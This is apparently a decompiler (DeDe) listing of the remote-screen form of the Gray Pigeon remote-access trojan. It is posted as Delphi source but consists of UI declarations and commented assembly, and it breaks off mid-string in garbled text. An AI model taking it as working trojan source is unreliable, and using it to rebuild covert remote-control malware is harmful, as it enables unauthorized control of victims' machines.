showpic.pas

灰鸽子delphi源码,具体我也没看过

unit ShowPic;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls
type
  TShowPm=class(TForm)
    ScrollBox1: TScrollBox;
    PaintBox1: TPaintBox;
    ControlBar1: TspSkinControlBar;
    MainPanel: TspSkinPanel;
    jianpanButton: TspSkinSpeedButton;
    SpeedButton1: TspSkinSpeedButton;
    MemuKeyButton: TspSkinMenuSpeedButton;
    Label4: TspSkinStdLabel;
    DynamicSkinForm1: TspDynamicSkinForm;
    PopupMenu2: TspSkinPopupMenu;
    CtrlAltDel1: TMenuItem;
    Ctrl1: TMenuItem;
    Ctrl2: TMenuItem;
    CtrlF121: TMenuItem;
    CtrlEsc1: TMenuItem;
    F121: TMenuItem;
    N3: TMenuItem;
    AltF41: TMenuItem;
    SysPopupMenu: TspSkinPopupMenu;
    N9: TMenuItem;
    N10: TMenuItem;
    N11: TMenuItem;
    N8: TMenuItem;
    N6: TMenuItem;
    N4: TMenuItem;
    N12: TMenuItem;
    N13: TMenuItem;
    N21: TMenuItem;
    N14: TMenuItem;
    N15: TMenuItem;
    MenuItem1: TMenuItem;
    N7: TMenuItem;
    MenuItem2: TMenuItem;
    MenuItem3: TMenuItem;
    MenuItem6: TMenuItem;
    MenuItem7: TMenuItem;
    MenuItem9: TMenuItem;
    F122: TMenuItem;
    MenuItem8: TMenuItem;
    SaveDialog1: TSaveDialog;
    SkinStatusBar: TspSkinStatusBar;
    StatusPanel1: TspSkinStatusPanel;
    StatusPanel2: TspSkinStatusPanel;
    StatusPanel3: TspSkinStatusPanel;
    StatusPanel4: TspSkinStatusPanel;
    StatusPanel5: TspSkinStatusPanel;
    SaveButton: TspSkinSpeedButton;
    procedure FormCreate(Sender : TObject);
    procedure PaintBox1Paint(Sender : TObject);
    procedure FormDestroy(Sender : TObject);
    procedure PaintBox1MouseMove(Sender : TObject);
    procedure PaintBox1MouseDown(Sender : TObject);
    procedure PaintBox1MouseUp(Sender : TObject);
    procedure FormKeyDown(Sender : TObject);
    procedure FormCloseQuery(Sender : TObject);
    procedure SaveButtonClick(Sender : TObject);
    procedure N10Click(Sender : TObject);
    procedure N11Click(Sender : TObject);
    procedure N6Click(Sender : TObject);
    procedure N4Click(Sender : TObject);
    procedure N21Click(Sender : TObject);
    procedure N14Click(Sender : TObject);
    procedure MenuItem1Click(Sender : TObject);
    procedure MenuItem2Click(Sender : TObject);
    procedure MenuItem6Click(Sender : TObject);
    procedure MenuItem7Click(Sender : TObject);
    procedure MenuItem9Click(Sender : TObject);
    procedure F122Click(Sender : TObject);
    procedure MenuItem3Click(Sender : TObject);
    procedure SpeedButton1Click(Sender : TObject);
    procedure _PROC_00588148(Sender : TObject);
    procedure _PROC_005881AC(Sender : TObject);
    procedure _PROC_00588230(Sender : TObject);
    procedure _PROC_0058850D(Sender : TObject);
    procedure _PROC_00588554(Sender : TObject);
    procedure _PROC_00588D44(Sender : TObject);
    procedure _PROC_00588E14(Sender : TObject);
    procedure _PROC_0058904F(Sender : TObject);
    procedure _PROC_005890B7(Sender : TObject);
    procedure _PROC_0058911F(Sender : TObject);
    procedure _PROC_00589187(Sender : TObject);
    procedure _PROC_00589265(Sender : TObject);
    procedure _PROC_00589294(Sender : TObject);
    procedure _PROC_0058929C(Sender : TObject);
    procedure _PROC_005892CC(Sender : TObject);
    procedure _PROC_005892D4(Sender : TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end ;

var
  ShowPm: TShowPm;

{This file is generated by DeDe Ver 3.50.02 Copyright (c) 1999-2002 DaFixer}

implementation

{$R *.DFM}

procedure TShowPm.FormCreate(Sender : TObject);
begin
(*
005888CC   53                     push    ebx
005888CD   8BD8                   mov     ebx, eax

* Reference to field TShowPm.OFFS_03E4
|
005888CF   C783E4030000FFFFFFFF   mov     dword ptr [ebx+$03E4], $FFFFFFFF
005888D9   33C0                   xor     eax, eax

* Reference to field TShowPm.OFFS_03F4
|
005888DB   8983F4030000           mov     [ebx+$03F4], eax
005888E1   B201                   mov     dl, $01

* Reference to class TBitmap
|
005888E3   A160694200             mov     eax, dword ptr [$00426960]

* Reference to: Graphics.TBitmap.Create(TBitmap;boolean);
|
005888E8   E82B47EAFF             call    0042D018

* Reference to field TShowPm.OFFS_03EC
|
005888ED   8983EC030000           mov     [ebx+$03EC], eax
005888F3   33C0                   xor     eax, eax

* Reference to field TShowPm.OFFS_03E0
|
005888F5   8983E0030000           mov     [ebx+$03E0], eax
005888FB   B201                   mov     dl, $01

* Reference to class TBitmap
|
005888FD   A160694200             mov     eax, dword ptr [$00426960]

* Reference to: Graphics.TBitmap.Create(TBitmap;boolean);
|
00588902   E81147EAFF             call    0042D018

* Reference to field TShowPm.OFFS_03F0
|
00588907   8983F0030000           mov     [ebx+$03F0], eax
0058890D   5B                     pop     ebx
0058890E   C3                     ret

*)
end;

procedure TShowPm.PaintBox1Paint(Sender : TObject);
begin
(*
00588910   55                     push    ebp
00588911   8BEC                   mov     ebp, esp
00588913   53                     push    ebx
00588914   56                     push    esi
00588915   57                     push    edi
00588916   33D2                   xor     edx, edx
00588918   55                     push    ebp

* Possible String Reference to: '閸风